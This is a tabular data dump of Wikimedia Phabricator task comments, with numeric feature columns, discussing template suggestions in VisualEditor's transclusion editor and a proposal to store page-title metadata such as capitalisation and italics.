534971,VisualEditor: Provide some kind of template suggestion in the transclusion editor,"@James_F, is this something a gadget could easily achieve?",,,1443171649,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,False,,,116,,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.818181818181818,1.0,"SCREEN_NAME, is this something a gadget could easily achieve?"
477890,VisualEditor: Provide some kind of template suggestion in the transclusion editor,"Mmm... I don't know if it's a //blocker//, but it is quite desirable.",,,1434708828,,PHID-USER-xfe43w2lb5gpvglf4coa,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,False,,,102,,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,11.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,17.0,6.0,6.0,0.0,0.0,0.0,17.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.1666666666666665,0.9444444444444444,"Mmm... I don't know if it's a //blocker//, but it is quite desirable."
477805,VisualEditor: Provide some kind of template suggestion in the transclusion editor,"I suggest that per Amire80, cross-wiki templates be made a blocker bug for this feature.

It's just too much widely duplicated work to do otherwise.",,,1434682068,,PHID-USER-rtxvf2yd2qd3qmsps3bk,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,False,,,102,,3.0,0.0,0.0,3.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,16.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,9.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.90625,0.96875,"I suggest that per Amire80, cross-wiki templates be made a blocker bug for this feature.

It's just too much widely duplicated work to do otherwise."
448210,VisualEditor: Provide some kind of template suggestion in the transclusion editor,It would really be appreciated in wikipedia's sister projects to have a costumizable common templates dropdown as there is with the citation tool.,,,1429796328,,PHID-USER-igg6dsz3ijszcxvvirgp,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,False,,,94,,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,16.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.96,1.0,It would really be appreciated in wikipedia's sister projects to have a costumizable common templates dropdown as there is with the citation tool.
475427,VisualEditor: Provide some kind of template suggestion in the transclusion editor,"The more I use VE, the more I miss such a feature.

The challenge with it is that it's badly project-specific, so community editors will need an easy way to customize this list, but something like this already done for citation templates, so it should be possible for other templates as well.

This is one issue for which it's REALLY worth poking around Wikimedia projects in different languages to ask them what would they like in such a feature, and what current features they currently have that are similar to this. For example, the Hebrew Wikipedia has the Templateslist script ( https://he.wikipedia.org/wiki/MediaWiki:Templateslist.js ), which adds a dropdown with common templates to the Vector editing toolbar, and users there complain that they don't want to use VE because VE doesn't have such a list.

I'm not rushing - this requires proper research, understanding and design, but it should be somewhere in the roadmap.",,,1434455793,,PHID-USER-xfe43w2lb5gpvglf4coa,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,False,,,102,,0.0,0.5,0.0,0.0,1.5,5.5,2.0,0.5,0.0,0.0,2.0,1.5,0.0,0.0,0.0,1.5,0.5,6.5,11.0,0.5,1.5,1.0,0.0,0.0,0.0,0.5,0.5,0.5,0.0,1.0,0.0,8.0,0.5,2.5,1.0,0.0,0.0,0.5,0.0,1.0,0.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,0.5,14.0,2.0,1.5,0.0,3.0,0.5,0.0,0.0,0.0,1.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,6.5,2.5,9.0,2.5,3.0,12.5,0.0,0.0,0.0,0.0,5.0,0.0,0.5,0.0,6.5,11.0,4.5,0.0,0.0,0.0,6.5,0.0,2.0,2.5,0.5,1.0,1.0,0.0,0.0,4.12461695607763,0.7514044943820224,"The more I use VE, the more I miss such a feature.

The challenge with it is that it's badly project-specific, so community editors will need an easy way to customize this list, but something like this already done for citation templates, so it should be possible for other templates as well.

This is one issue for which it's REALLY worth poking around Wikimedia projects in different languages to ask them what would they like in such a feature, and what current features they currently have that are similar to this. For example, the Hebrew Wikipedia has the Templateslist script ( URL ), which adds a dropdown with common templates to the Vector editing toolbar, and users there complain that they don't want to use VE because VE doesn't have such a list.

I'm not rushing - this requires proper research, understanding and design, but it should be somewhere in the roadmap."
394662,VisualEditor: Provide some kind of template suggestion in the transclusion editor,"The more I use VE, the more I miss such a feature.

The challenge with it is that it's badly project-specific, so community editors will need an easy way to customize this list, but something like is already done for citation templates, so it should be possible for other templates as well.

This is one issue for which it's REALLY worth poking around Wikimedia projects in different languages to ask them what would they like in such a feature, and what current features they currently have that are similar to this. For example, the Hebrew Wikipedia has the Templateslist script ( https://he.wikipedia.org/wiki/MediaWiki:Templateslist.js ), which adds a dropdown with common templates to the Vector editing toolbar, and users there complain that they don't want to use VE because VE doesn't have such a list.

I'm not rushing - this requires proper research, understanding and design, but it should be somewhere in the roadmap.",,,1420149875,,PHID-USER-xfe43w2lb5gpvglf4coa,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,False,,,78,,0.0,0.5,0.0,0.5,1.5,5.5,2.0,0.5,0.0,0.0,2.0,1.5,0.0,0.0,0.0,1.5,0.5,6.5,11.0,0.5,1.5,1.0,0.0,0.0,0.0,0.5,0.5,0.5,0.0,1.0,0.0,8.5,0.5,2.5,1.0,0.0,0.0,0.5,0.0,1.0,0.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,0.5,14.0,2.0,1.0,0.0,3.0,0.5,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,6.5,3.0,9.0,2.5,3.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,0.5,0.0,6.5,11.0,4.5,0.0,0.0,0.0,6.5,0.0,2.0,2.5,0.5,1.0,1.0,0.0,0.0,4.11338100102145,0.7514044943820224,"The more I use VE, the more I miss such a feature.

The challenge with it is that it's badly project-specific, so community editors will need an easy way to customize this list, but something like is already done for citation templates, so it should be possible for other templates as well.

This is one issue for which it's REALLY worth poking around Wikimedia projects in different languages to ask them what would they like in such a feature, and what current features they currently have that are similar to this. For example, the Hebrew Wikipedia has the Templateslist script ( URL ), which adds a dropdown with common templates to the Vector editing toolbar, and users there complain that they don't want to use VE because VE doesn't have such a list.

I'm not rushing - this requires proper research, understanding and design, but it should be somewhere in the roadmap."
332711,VisualEditor: Provide some kind of template suggestion in the transclusion editor,"The more I use VE, the more I miss such feature.

The challenge with it is that it's badly project-specific, so community editors will need an easy way to customize this list, but something like is already done for citation templates, so it should be possible for other templates as well.

This is one issue for which it's REALLY worth poking around Wikimedia projects in different languages to ask them what would they like in such a feature, and what current features they currently have that are similar to this. For example, the Hebrew Wikipedia has the Templateslist script ( https://he.wikipedia.org/wiki/MediaWiki:Templateslist.js ), which adds a dropdown with common templates to the Vector editing toolbar, and users there complain that they don't want to use VE because VE doesn't have such a list.

I'm not rushing - this requires proper research, understanding and design, but it should be somewhere in the roadmap.",,,1416866083,,PHID-USER-xfe43w2lb5gpvglf4coa,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,False,,,73,,0.0,0.5,0.0,0.5,1.5,6.0,2.0,0.5,0.0,0.0,2.0,1.5,0.0,0.0,0.0,1.5,0.5,6.5,11.0,0.5,1.5,1.0,0.0,0.0,0.0,0.5,0.5,0.5,0.0,1.0,0.0,8.5,0.5,2.5,1.0,0.0,0.0,0.5,0.0,1.0,0.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,0.5,14.0,2.0,1.0,0.0,2.5,0.5,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,9.0,2.5,3.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.5,0.0,6.5,11.0,4.5,0.0,0.0,0.0,6.5,0.0,2.0,2.0,0.5,1.0,1.0,0.0,0.0,4.130681818181818,0.75,"The more I use VE, the more I miss such feature.

The challenge with it is that it's badly project-specific, so community editors will need an easy way to customize this list, but something like is already done for citation templates, so it should be possible for other templates as well.

This is one issue for which it's REALLY worth poking around Wikimedia projects in different languages to ask them what would they like in such a feature, and what current features they currently have that are similar to this. For example, the Hebrew Wikipedia has the Templateslist script ( URL ), which adds a dropdown with common templates to the Vector editing toolbar, and users there complain that they don't want to use VE because VE doesn't have such a list.

I'm not rushing - this requires proper research, understanding and design, but it should be somewhere in the roadmap."
252403,VisualEditor: Provide some kind of template suggestion in the transclusion editor,*** Bug 69787 has been marked as a duplicate of this bug. ***,,,1408571387,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,True,,,59,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 69787 has been marked as a duplicate of this bug. ***
252397,VisualEditor: Provide some kind of template suggestion in the transclusion editor,"The main priority is a (very limited) suggestion of quick-inserting templates when in a reference, which is bug 50458.

This is certainly a possibility, but would probably want to be context-specific (so it only suggests clean-up templates when your cursors is at the top of the page; only suggests stubs when at the bottom; etc.).",,,1377908590,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,1.0,0.0,0.0,5.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,14.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,0.0,1.0,3.0,1.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,10.0,7.0,3.0,4.0,1.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,4.0,0.0,0.0,0.0,0.0,3.0,3.808219178082192,0.6986301369863014,"The main priority is a (very limited) suggestion of quick-inserting templates when in a reference, which is bug 50458.

This is certainly a possibility, but would probably want to be context-specific (so it only suggests clean-up templates when your cursors is at the top of the page; only suggests stubs when at the bottom; etc.)."
252391,VisualEditor: Provide some kind of template suggestion in the transclusion editor,"Created attachment 13203
A very quick mockup for quick access buttons

One idea I've had is to use some of the empty vertical space on the right of the dialog for some quick access buttons. See attachment for a 2 minute mockup of how this might look. The labels I've used in the mockup are not necessarily the right ones, they're just ones I quickly thought of.

Either the buttons could be set to allow one-click access to certain templates, or to be drop-down lists of similar related ones. Possibly the two could be combined - click to get the top item in the list, or click and hold for a moment to open the drop down for short list (almost certainly no more than 10, probably less than that) of similar ones.

Selecting any of these would have the same effect as typing the name into the search field, selecting it, and clicking to add the template.

A second idea would be to change the transclusion editor button from a simple button to a combined button/drop down as I described above. Here you could only have a single list but it could be longer. Selecting a template from this list would load the transclusion editor with that template preloaded into it.

Some way of customising either/both lists (beyond recently used) would be useful too.

**Attached**: {F11786}",,,1377900016,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-6ivr3ri6bvcbt55jfp2f,task_subcomment,,True,c1,3,False,,,8,,1.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,7.333333333333333,1.3333333333333333,0.0,0.0,0.0,1.3333333333333333,1.0,0.0,0.6666666666666666,0.0,1.3333333333333333,0.3333333333333333,6.0,13.0,0.0,2.3333333333333335,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,1.6666666666666667,1.3333333333333333,0.0,2.0,1.0,1.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,1.6666666666666667,0.0,0.6666666666666666,0.0,0.0,0.0,15.333333333333334,1.0,0.6666666666666666,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,8.666666666666666,2.6666666666666665,6.333333333333333,0.3333333333333333,2.0,12.0,0.0,0.0,0.0,0.0,7.333333333333333,0.0,2.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.3333333333333333,3.0,0.0,2.0,1.0,0.0,0.0,3.8863247863247863,0.6801790801790801,"Created attachment 13203
A very quick mockup for quick access buttons

One idea I've had is to use some of the empty vertical space on the right of the dialog for some quick access buttons. See attachment for a 2 minute mockup of how this might look. The labels I've used in the mockup are not necessarily the right ones, they're just ones I quickly thought of.

Either the buttons could be set to allow one-click access to certain templates, or to be drop-down lists of similar related ones. Possibly the two could be combined - click to get the top item in the list, or click and hold for a moment to open the drop down for short list (almost certainly no more than 10, probably less than that) of similar ones.

Selecting any of these would have the same effect as typing the name into the search field, selecting it, and clicking to add the template.

A second idea would be to change the transclusion editor button from a simple button to a combined button/drop down as I described above. Here you could only have a single list but it could be longer. Selecting a template from this list would load the transclusion editor with that template preloaded into it.

Some way of customising either/both lists (beyond recently used) would be useful too.

**Attached**: {F11786}"
55566,"Pages should have metadata about their correct title (capitalisation, special characters, etc)","As discussed at bug 50452 comment 9 it would be very useful for a page to have associated metadata about its title.

For most pages and by default* this would be identical to the all-lowercase rendering of its stored title, but where pages correctly start with a lowercase letter (on wikis where the first character is case insensitive), contain special characters or conflict with interwikis/namespaces, etc. the metadata would record the correct page title. It could also be used for titles that should be italicised.
e.g. on en.wp:
Page Title         - Correct Title
[[IPad]]           - iPad
[[Benzo(a)pyrene]] - Benzo[a]pyrene
[[Pilot No. 5]]    - Pilot #5
[[D Ream]]         - D:Ream
[[Computer]]       - computer [indicating a common noun]
[[Amy Studt]]      - Amy Studt [indicating the title is proper noun]
[[Animal Farm]]    - <i>Animal Farm</i> [italicised proper noun, the tags are not literal]

The displayed title would be taken from this metadata and as such would effectively supercede the DISPLAYTITLE magic word and the [[template:correct title]] family of templates (and the equivalents on other wikis).

VisualEditor and any other tools that aid linking would be able to read the metadata and use it to determine what the default displayed name should be when linking to that article.

*Actually the default should be configurable as I guess languages like German that capitalise common nouns may want the default to be capitalised and the upper/lower case distinction probably doesn't make sense in all scripts.

--------------------------
**Version**: 1.22.0
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50452
https://bugzilla.wikimedia.org/show_bug.cgi?id=56868
https://bugzilla.wikimedia.org/show_bug.cgi?id=49076",Low,25.0,1377811860,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-lmosmab7pjd2m5cnmo2t,task_description,open,True,c1,3,False,False,,8,,0.75,0.0,0.25,1.0,0.5,5.25,1.5,0.0,0.0,0.0,1.25,0.25,0.0,0.0,0.0,0.5,0.5,3.5,6.5,0.0,1.0,0.75,0.0,0.0,0.5,0.0,0.0,0.0,0.5,1.5,0.25,2.0,1.5,1.25,0.25,0.0,0.0,0.0,0.0,0.25,0.25,0.0,0.0,1.25,0.0,0.75,0.0,0.25,0.0,14.75,0.5,0.75,0.0,0.25,0.0,0.0,0.0,0.25,0.5,0.5,0.0,1.0,0.0,0.0,0.25,0.25,0.25,4.5,3.0,10.0,0.75,2.25,6.0,0.0,0.0,0.0,0.25,4.75,0.0,1.5,0.0,1.5,6.5,5.75,0.0,0.0,0.0,1.5,0.0,1.75,0.75,0.0,1.0,0.25,0.25,8.0,3.8571428571428568,0.6318681318681318,"As discussed at bug 50452 comment 9 it would be very useful for a page to have associated metadata about its title.

For most pages and by default* this would be identical to the all-lowercase rendering of its stored title, but where pages correctly start with a lowercase letter (on wikis where the first character is case insensitive), contain special characters or conflict with interwikis/namespaces, etc. the metadata would record the correct page title. It could also be used for titles that should be italicised.
e.g. on en.wp:
Page Title         - Correct Title
[[IPad]]           - iPad
[[Benzo(a)pyrene]] - Benzo[a]pyrene
[[Pilot No. 5]]    - Pilot #5
[[D Ream]]         - D:Ream
[[Computer]]       - computer [indicating a common noun]
[[Amy Studt]]      - Amy Studt [indicating the title is proper noun]
[[Animal Farm]]    - <i>Animal Farm</i> [italicised proper noun, the tags are not literal]

The displayed title would be taken from this metadata and as such would effectively supercede the DISPLAYTITLE magic word and the [[template:correct title]] family of templates (and the equivalents on other wikis).

VisualEditor and any other tools that aid linking would be able to read the metadata and use it to determine what the default displayed name should be when linking to that article.

*Actually the default should be configurable as I guess languages like German that capitalise common nouns may want the default to be capitalised and the upper/lower case distinction probably doesn't make sense in all scripts.

--------------------------
**Version**: 1.22.0
**Severity**: enhancement
**See Also**:
URL
URL
URL"
250397,"Pages should have metadata about their correct title (capitalisation, special characters, etc)",">The advantage of storing this metadata is that it allows for a large amount of
>semantic information about the title which can be used not only for linking but
>potentially for customised display options and doubtless more that I haven't
>thought of.

That's certainly true. 
-----

My initial reaction is that the user is probably in a better position to decide how to capitalize/italicize the title in a given context than software would be, but if such formatting of titles is consistent, I suppose it could make sense to automatically do it.

>I'm told that it needs to be moved out of templates for VE to support.

It should not need that to *use* the data. To effectively edit the displaytitle data, it may need that.

>I don't
>know why.
>More philosophical, but I was under the impression that the long term goal was
>to separate metadata from content?

Some folks have that goal. Personally I think that doing so would reduce the power of mediawiki significantly, although my opinion may be a minority one. (And probably offtopic for this bug report)",,,1378773876,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-lmosmab7pjd2m5cnmo2t,task_subcomment,,True,c1,3,False,,,10,,0.5,0.0,0.0,0.0,0.5,3.0,2.0,0.0,0.5,0.5,1.0,0.0,0.0,0.0,0.0,2.5,0.5,6.5,9.0,0.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,4.5,2.0,2.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,11.0,2.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.5,1.0,1.0,0.0,0.0,0.5,5.0,2.5,11.0,3.0,1.0,9.0,0.0,0.0,0.0,0.0,7.5,0.0,0.5,0.0,4.5,9.0,3.5,0.0,0.0,0.0,4.5,0.0,1.0,1.5,0.0,0.5,0.5,0.0,0.0,3.943158953722334,0.7234406438631791,"QUOTE
QUOTE
QUOTE
QUOTE

That's certainly true. 
-----

My initial reaction is that the user is probably in a better position to decide how to capitalize/italicize the title in a given context than software would be, but if such formatting of titles is consistent, I suppose it could make sense to automatically do it.

QUOTE

It should not need that to *use* the data. To effectively edit the displaytitle data, it may need that.

QUOTE
QUOTE
QUOTE
QUOTE

Some folks have that goal. Personally I think that doing so would reduce the power of mediawiki significantly, although my opinion may be a minority one. (And probably offtopic for this bug report)"
250393,"Pages should have metadata about their correct title (capitalisation, special characters, etc)","(In reply to comment #4)
> > 
> > The idea is not just to store what the title should be displayed as when it
> > doesn't match the default, but to record what the title actually is in all
> > cases. Presently there is afaik no way to tell that for example [[Parish
> > ale]]
> > is a common noun, [[Parish Walk]] is a proper noun and [[Parish Bar]] is a
> > proper noun that should be italicised.
> 
> *Does it really make sense to store what type of word the title is, instead
> of just how to display it. 

Sorry that was my poor explanation. For tools (such as VisualEditor) to offer a sensible default for the display of a link the tool needs to know how the title should be displayed. In mid sentence:
*The vicar drank some [[parish ale]] and declared it ""rather good""
*The vicar competed in the 2013 [[Parish Walk]], raising money for the church roof.
*The vicar enjoyed listening to the ''[[Parish Bar]]'' album while driving.

At present only the last of these has need of a {{DISPLAYTITLE}} because the unitalicised format with an initial capital letter is correct when it appears as a page title. This tells us nothing about how it should be used in other contexts, and the DISPLAYTITLE for the third example tells us nothing about capitalisation mid-sentence. In other words we want to store the information about how the title should be used in all cases, not just when it doesn't match the default.

It seems to me that there are three options for how to structure this metadata. 
The first is to simply store the format, e.g. ""title: ''Parish Bar''"" or ""title: parish ale"".
The second is to define classes of titles and how they are displayed and assign each article title to one such class. e.g. for Parish Walk ""title class: proper noun"" and for Parish Bar: ""title class: musical album title""
The third option is to store a class (without that defining the display) and the display: ""title: ''Parish Bar''; class: musical album title"".

The classes and (associated) displays would need to be configurable per wiki for either of those options to work.

I've also realised that separate fields would be good for ""title"" and ""disambiguator"", e.g. for the article at [[Mercury (element)]]: ""title: mercury""; ""disambiguator: element""; class: ""common noun"" or for [[Wellington, Somerset]]: ""title: Wellington""; ""disambiguator: Somerset""; ""class: place name""

The advantage of storing this metadata is that it allows for a large amount of semantic information about the title which can be used not only for linking but potentially for customised display options and doubtless more that I haven't thought of.

> *What problem (Other than perhaps ideological) does moving the data out of
> templates actually solve?
I'm told that it needs to be moved out of templates for VE to support. I don't know why.
More philosophical, but I was under the impression that the long term goal was to separate metadata from content?",,,1378772376,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-lmosmab7pjd2m5cnmo2t,task_subcomment,,True,c1,3,False,,,10,,0.5,0.0,0.0,1.0,0.8333333333333334,4.666666666666667,1.6666666666666667,0.16666666666666666,0.0,0.0,2.0,1.8333333333333333,0.0,0.3333333333333333,0.16666666666666666,1.6666666666666667,0.0,4.166666666666667,11.666666666666666,0.3333333333333333,2.1666666666666665,0.5,0.16666666666666666,0.0,1.1666666666666667,0.16666666666666666,0.0,0.0,0.16666666666666666,0.3333333333333333,0.0,3.8333333333333335,0.6666666666666666,1.1666666666666667,0.5,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.16666666666666666,0.0,1.8333333333333333,0.0,0.5,0.16666666666666666,0.0,0.16666666666666666,13.666666666666666,0.6666666666666666,1.0,0.0,0.5,0.0,0.0,0.16666666666666666,0.16666666666666666,1.0,0.0,0.0,0.6666666666666666,0.16666666666666666,0.16666666666666666,0.0,0.16666666666666666,0.3333333333333333,5.833333333333333,2.8333333333333335,9.333333333333334,2.6666666666666665,2.1666666666666665,8.0,0.0,0.0,0.0,0.16666666666666666,3.6666666666666665,0.16666666666666666,0.6666666666666666,0.0,3.1666666666666665,11.666666666666666,6.0,0.16666666666666666,4.666666666666667,0.0,3.1666666666666665,0.0,1.5,1.1666666666666667,0.5,1.0,0.3333333333333333,0.0,2.0,3.682971014492754,0.6485507246376812,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Sorry that was my poor explanation. For tools (such as VisualEditor) to offer a sensible default for the display of a link the tool needs to know how the title should be displayed. In mid sentence:
*The vicar drank some [[parish ale]] and declared it ""rather good""
*The vicar competed in the 2013 [[Parish Walk]], raising money for the church roof.
*The vicar enjoyed listening to the ''[[Parish Bar]]'' album while driving.

At present only the last of these has need of a {{DISPLAYTITLE}} because the unitalicised format with an initial capital letter is correct when it appears as a page title. This tells us nothing about how it should be used in other contexts, and the DISPLAYTITLE for the third example tells us nothing about capitalisation mid-sentence. In other words we want to store the information about how the title should be used in all cases, not just when it doesn't match the default.

It seems to me that there are three options for how to structure this metadata. 
The first is to simply store the format, e.g. ""title: ''Parish Bar''"" or ""title: parish ale"".
The second is to define classes of titles and how they are displayed and assign each article title to one such class. e.g. for Parish Walk ""title class: proper noun"" and for Parish Bar: ""title class: musical album title""
The third option is to store a class (without that defining the display) and the display: ""title: ''Parish Bar''; class: musical album title"".

The classes and (associated) displays would need to be configurable per wiki for either of those options to work.

I've also realised that separate fields would be good for ""title"" and ""disambiguator"", e.g. for the article at [[Mercury (element)]]: ""title: mercury""; ""disambiguator: element""; class: ""common noun"" or for [[Wellington, Somerset]]: ""title: Wellington""; ""disambiguator: Somerset""; ""class: place name""

The advantage of storing this metadata is that it allows for a large amount of semantic information about the title which can be used not only for linking but potentially for customised display options and doubtless more that I haven't thought of.

QUOTE
QUOTE
I'm told that it needs to be moved out of templates for VE to support. I don't know why.
More philosophical, but I was under the impression that the long term goal was to separate metadata from content?"
250389,"Pages should have metadata about their correct title (capitalisation, special characters, etc)","
> 
> The idea is not just to store what the title should be displayed as when it
> doesn't match the default, but to record what the title actually is in all
> cases. Presently there is afaik no way to tell that for example [[Parish
> ale]]
> is a common noun, [[Parish Walk]] is a proper noun and [[Parish Bar]] is a
> proper noun that should be italicised.

I don't think I properly understand the problem this is trying to solve. To be honest it sounds like a solution looking for a problem.

Basically what I'm asking:
*Does it really make sense to store what type of word the title is, instead of just how to display it. Mapping types of words -> how to display them sounds like something that would vary a lot by culture (Or even in english wikis that have different traditions)
*What problem (Other than perhaps ideological) does moving the data out of templates actually solve?",,,1378768930,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-lmosmab7pjd2m5cnmo2t,task_subcomment,,True,c1,3,False,,,10,,0.0,1.0,0.0,0.0,0.5,3.5,0.5,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,1.5,0.0,7.5,11.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,7.0,1.5,2.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,10.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,4.0,2.0,9.5,1.5,1.0,5.5,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0,11.0,4.0,1.0,0.0,0.0,4.0,0.0,5.0,2.0,1.0,2.5,0.0,0.0,1.0,3.8095238095238093,0.753968253968254,"
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I don't think I properly understand the problem this is trying to solve. To be honest it sounds like a solution looking for a problem.

Basically what I'm asking:
*Does it really make sense to store what type of word the title is, instead of just how to display it. Mapping types of words -> how to display them sounds like something that would vary a lot by culture (Or even in english wikis that have different traditions)
*What problem (Other than perhaps ideological) does moving the data out of templates actually solve?"
250385,"Pages should have metadata about their correct title (capitalisation, special characters, etc)","(In reply to comment #1)
> I'm confused. Is this asking to move {{DISPLAYTITLE:...}} out of wikitext?
> 
> Displaytitle is a form of metadata, and it gets stored in the db separately,
> and can be queried separately, etc.

